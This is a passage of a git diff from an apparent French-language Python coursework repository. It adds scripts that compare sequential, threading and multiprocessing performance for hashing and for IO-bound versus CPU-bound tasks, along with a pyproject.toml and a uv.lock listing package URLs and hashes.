= calculer_hash(data) + results[data] = result + print(f"{pid} - {process_name} - {thread_name} => {data}: {result}") + +def get_hash_multiprocessing(data_set: list[str]): + with Manager() as manager: + results = manager.dict() + processes = [] + + for data in data_set: + process = Process(target=hash_calculus, args=(data, results)) + processes.append(process) + process.start() + + for process in processes: + process.join() + + return dict(results) + +if __name__ == "__main__": + print("\n--- Sequential Approach ---") + start_time = time.perf_counter() + get_hash_sequential(DONNEES) + end_time = time.perf_counter() + seq_time = end_time - start_time + print(f"Sequential time: {seq_time:.2f} seconds") + + print("\n--- Threading Approach ---") + start_time = time.perf_counter() + get_hash_threading(DONNEES) + end_time = time.perf_counter() + thread_time = end_time - start_time + print(f"Threading time: {thread_time:.2f} seconds") + + print("\n--- MultiProcessing Approach ---") + start_time = time.perf_counter() + get_hash_multiprocessing(DONNEES) + end_time = time.perf_counter() + thread_time = end_time - start_time + print(f"Threading time: {thread_time:.2f} seconds") \ No newline at end of file diff --git a/Semaine_09/Threading_Process/main.py b/Semaine_09/Threading_Process/main.py new file mode 100644 index 0000000..7ed4835 --- /dev/null +++ b/Semaine_09/Threading_Process/main.py @@ -0,0 +1,68 @@ +""" +IO-bound : le CPU ne fait rien, il attend. Requêtes API/DB/fichiers +CPU-bound : le CPU est sollicité +""" + +import os, time +from threading import Thread, current_thread +from multiprocessing import Process, current_process + +COUNT = 200000000 +SLEEP = 10 + +def io_bound(sec): + pid = os.getpid() + thread_name = current_thread().name + process_name = current_process().name + print(f"{pid} - {process_name} - {thread_name} => Start sleeping...") + time.sleep(sec) + print(f"{pid} - {process_name} - {thread_name} => Stop sleeping...") + +def cpu_bound(n): + pid = os.getpid() + thread_name = current_thread().name + process_name = current_process().name + print(f"{pid} - {process_name} - {thread_name} => Start counting...") + while n > 0: + n -= 1 + print(f"{pid} - {process_name} - {thread_name} => Stop counting...") + +if __name__ == "__main__": + start_time = time.perf_counter() + + # io_bound(SLEEP) + # io_bound(SLEEP) + + # t1 = Thread(target= io_bound, args= (SLEEP, )) + # t2 = Thread(target= io_bound, args= (SLEEP, )) + # t1.start() + # t2.start() + # t1.join() + # t2.join() + + # cpu_bound(COUNT) + # cpu_bound(COUNT) + + # t1 = Thread(target= cpu_bound, args= (COUNT, )) + # t2 = Thread(target= cpu_bound, args= (COUNT, )) + # t1.start() + # t2.start() + # t1.join() + # t2.join() + + t1 = Process(target= cpu_bound, args= (COUNT, )) + t2 = Process(target= cpu_bound, args= (COUNT, )) + t1.start() + t2.start() + t1.join() + t2.join() + + end_time = time.perf_counter() + print(f"Time taken in seconds - {end_time - start_time}") + +""" + Tâches IO-bound => Threading + Tâches CPU-bound => Multiprocessing +IO-bound avec connexions simultanées => asyncio +""" + diff --git a/Semaine_09/Threading_Process/pyproject.toml b/Semaine_09/Threading_Process/pyproject.toml new file mode 100644 index 0000000..39d9c9c --- /dev/null +++ b/Semaine_09/Threading_Process/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "threading-process" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "requests>=2.33.1", +] diff --git a/Semaine_09/Threading_Process/uv.lock b/Semaine_09/Threading_Process/uv.lock new file mode 100644 index 0000000..fd353cc --- /dev/null +++ b/Semaine_09/Threading_Process/uv.lock @@ -0,0 +1,129 @@ +version = 1 +revision = 3 +requires-python = ">=3.12" + +[[package]] +name = "certifi" +version = "2026.4.22" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/25/ee/6caf7a40c36a1220410afe15a1cc64993a1f864871f698c0f93acb72842a/certifi-2026.4.22.tar.gz", hash = "sha256:8d455352a37b71bf76a79caa83a3d6c25afee4a385d632127b6afb3963f1c580", size = 137077, upload-time = "2026-04-22T11:26:11.191Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/22/30/7cd8fdcdfbc5b869528b079bfb76dcdf6056b1a2097a662e5e8c04f42965/certifi-2026.4.22-py3-none-any.whl", hash = "sha256:3cb2210c8f88ba2318d29b0388d1023c8492ff72ecdde4ebdaddbb13a31b1c4a", size = 135707, upload-time = "2026-04-22T11:26:09.372Z" }, +] + +[[package]] +name = "charset-normalizer" +version = "3.4.7" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", size = 144271, upload-time = "2026-04-02T09:28:39.342Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46", size = 311328, upload-time = "2026-04-02T09:26:24.331Z" }, + { url = "https://files.pythonhosted.org/packages/f8/e3/0fadc706008ac9d7b9b5be6dc767c05f9d3e5df51744ce4cc9605de7b9f4/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2", size = 208061, upload-time = "2026-04-02T09:26:25.568Z" }, + { url = "https://files.pythonhosted.org/packages/42/f0/3dd1045c47f4a4604df85ec18ad093912ae1344ac706993aff91d38773a2/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b", size = 229031, upload-time = "2026-04-02T09:26:26.865Z" }, + { url = "https://files.pythonhosted.org/packages/dc/67/675a46eb016118a2fbde5a277a5d15f4f69d5f3f5f338e5ee2f8948fcf43/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a", size = 225239, upload-time = "2026-04-02T09:26:28.044Z" }, + { url = "https://files.pythonhosted.org/packages/4b/f8/d0118a2f5f23b02cd166fa385c60f9b0d4f9194f574e2b31cef350ad7223/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116", size = 216589, upload-time = "2026-04-02T09:26:29.239Z" }, + { url = "https://files.pythonhosted.org/packages/b1/f1/6d2b0b261b6c4ceef0fcb0d17a01cc5bc53586c2d4796fa04b5c540bc13d/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb", size = 202733, upload-time = "2026-04-02T09:26:30.5Z" }, + { url = "https://files.pythonhosted.org/packages/6f/c0/7b1f943f7e87cc3db9626ba17807d042c38645f0a1d4415c7a14afb5591f/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1", size = 212652, upload-time = "2026-04-02T09:26:31.709Z" }, + { url = "https://files.pythonhosted.org/packages/38/dd/5a9ab159fe45c6e72079398f277b7d2b523e7f716acc489726115a910097/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15", size = 211229, upload-time = "2026-04-02T09:26:33.282Z" }, + { url = "https://files.pythonhosted.org/packages/d5/ff/531a1cad5ca855d1c1a8b69cb71abfd6d85c0291580146fda7c82857caa1/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5", size = 203552, upload-time = "2026-04-02T09:26:34.845Z" }, + { url = "https://files.pythonhosted.org/packages/c1/4c/a5fb52d528a8ca41f7598cb619409ece30a169fbdf9cdce592e53b46c3a6/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d", size = 230806, upload-time = "2026-04-02T09:26:36.152Z" }, + { url = "https://files.pythonhosted.org/packages/59/7a/071feed8124111a32b316b33ae4de83d36923039ef8cf48120266844285b/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7", size = 212316, upload-time = "2026-04-02T09:26:37.672Z" }, + { url = "https://files.pythonhosted.org/packages/fd/35/f7dba3994312d7ba508e041eaac39a36b120f32d4c8662b8814dab876431/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464", size = 227274, upload-time = "2026-04-02T09:26:38.93Z" }, + { url = "https://files.pythonhosted.org/packages/8a/2d/a572df5c9204ab7688ec1edc895a73ebded3b023bb07364710b05dd1c9be/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49", size = 218468, upload-time = "2026-04-02T09:26:40.17Z" }, + { url = "https://files.pythonhosted.org/packages/86/eb/890922a8b03a568ca2f336c36585a4713c55d4d67bf0f0c78924be6315ca/charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c", size = 148460, upload-time = "2026-04-02T09:26:41.416Z" }, + { url = "https://files.pythonhosted.org/packages/35/d9/0e7dffa06c5ab081f75b1b786f0aefc88365825dfcd0ac544bdb7b2b6853/charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6", size = 159330, upload-time = "2026-04-02T09:26:42.554Z" }, + { url = "https://files.pythonhosted.org/packages/9e/5d/481bcc2a7c88ea6b0878c299547843b2521ccbc40980cb406267088bc701/charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d", size = 147828, upload-time = "2026-04-02T09:26:44.075Z" }, + { url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063", size = 309627, upload-time = "2026-04-02T09:26:45.198Z" }, + { url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c", size = 207008, upload-time = "2026-04-02T09:26:46.824Z" }, + { url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66", size = 228303, upload-time = "2026-04-02T09:26:48.397Z" }, + { url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18", size = 224282, upload-time = "2026-04-02T09:26:49.684Z" }, + { url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd", size = 215595, upload-time = "2026-04-02T09:26:50.915Z" }, + { url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215", size = 201986, upload-time = "2026-04-02T09:26:52.197Z" }, + { url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859", size = 211711, upload-time = "2026-04-02T09:26:53.49Z" }, + { url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8", size = 210036, upload-time = "2026-04-02T09:26:54.975Z" }, + { url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5", size = 202998, upload-time = "2026-04-02T09:26:56.303Z" }, + { url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832", size = 230056, upload-time = "2026-04-02T09:26:57.554Z" }, + { url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6", size = 211537, upload-time = "2026-04-02T09:26:58.843Z" }, + { url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48", size = 226176, upload-time = "2026-04-02T09:27:00.437Z" }, + { url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a", size = 217723, upload-time = "2026-04-02T09:27:02.021Z" }, + { url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e", size = 148085, upload-time = "2026-04-02T09:27:03.192Z" }, + { url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110", size = 158819, upload-time = "2026-04-02T09:27:04.454Z" }, + { url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b", size = 147915, upload-time = "2026-04-02T09:27:05.971Z" }, + { url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0", size = 309234, upload-time = "2026-04-02T09:27:07.194Z" }, + { url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a", size = 208042, upload-time = "2026-04-02T09:27:08.749Z" }, + { url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b", size = 228706, upload-time = "2026-04-02T09:27:09.951Z" }, + { url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41", size = 224727, upload-time = "2026-04-02T09:27:11.175Z" }, + { url = "https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e", size = 215882, upload-time = "2026-04-02T09:27:12.446Z" }, + { url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae", size = 200860, upload-time = "2026-04-02T09:27:13.721Z" }, + { url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18", size = 211564, upload-time = "2026-04-02T09:27:15.272Z" }, + { url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b", size = 211276, upload-time = "2026-04-02T09:27:16.834Z" }, + { url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356", size = 201238, upload-time = "2026-04-02T09:27:18.229Z" }, + { url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab", size = 230189, upload-time = "2026-04-02T09:27:19.445Z" }, + { url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46", size = 211352, upload-time = "2026-04-02T09:27:20.79Z" }, + { url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44", size = 227024, upload-time = "2026-04-02T09:27:22.063Z" }, + { url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72", size = 217869, upload-time = "2026-04-02T09:27:23.486Z" }, + { url = "https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10", size = 148541, upload-time = "2026-04-02T09:27:25.146Z" }, + { url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f", size = 159634, upload-time = "2026-04-02T09:27:26.642Z" }, + { url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246", size = 148384, upload-time = "2026-04-02T09:27:28.271Z" }, + { url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24", size = 330133, upload-time = "2026-04-02T09:27:29.474Z" }, + { url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79", size = 216257, upload-time = "2026-04-02T09:27:30.793Z" }, + { url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960", size = 234851, upload-time = "2026-04-02T09:27:32.44Z" }, + { url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4", size = 233393, upload-time = "2026-04-02T09:27:34.03Z" }, + { url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e", size = 223251, upload-time = "2026-04-02T09:27:35.369Z" }, + { url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1", size = 206609, upload-time = "2026-04-02T09:27:36.661Z" }, + { url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44", size = 220014, upload-time = "2026-04-02T09:27:38.019Z" }, + { url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e", size = 218979, upload-time = "2026-04-02T09:27:39.37Z" }, + { url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3", size = 209238, upload-time = "2026-04-02T09:27:40.722Z" }, + { url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0", size = 236110, upload-time = "2026-04-02T09:27:42.33Z" }, + { url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e", size = 219824, upload-time = "2026-04-02T09:27:43.924Z" }, + { url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb", size = 233103, upload-time = "2026-04-02T09:27:45.348Z" }, + { url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e1e75f0041f3fe7020abe", size = 225194, upload-time = "2026-04-02T09:27:46.706Z" }, + { url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615339a0", size = 159827, upload-time = "2026-04-02T09:27:48.053Z" }, + { url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a27370ea61a49c", size = 174168, upload-time = "2026-04-02T09:27:49.795Z" }, + { url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a763c1f083d", size = 153018, upload-time = "2026-04-02T09:27:51.116Z" }, + { url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d", size = 61958, upload-time = "2026-04-02T09:28:37.794Z" }, +] + +[[package]] +name = "idna" +version = "3.14" +source = { registry = "https://pypi.org/simple" } +sdist = { url = 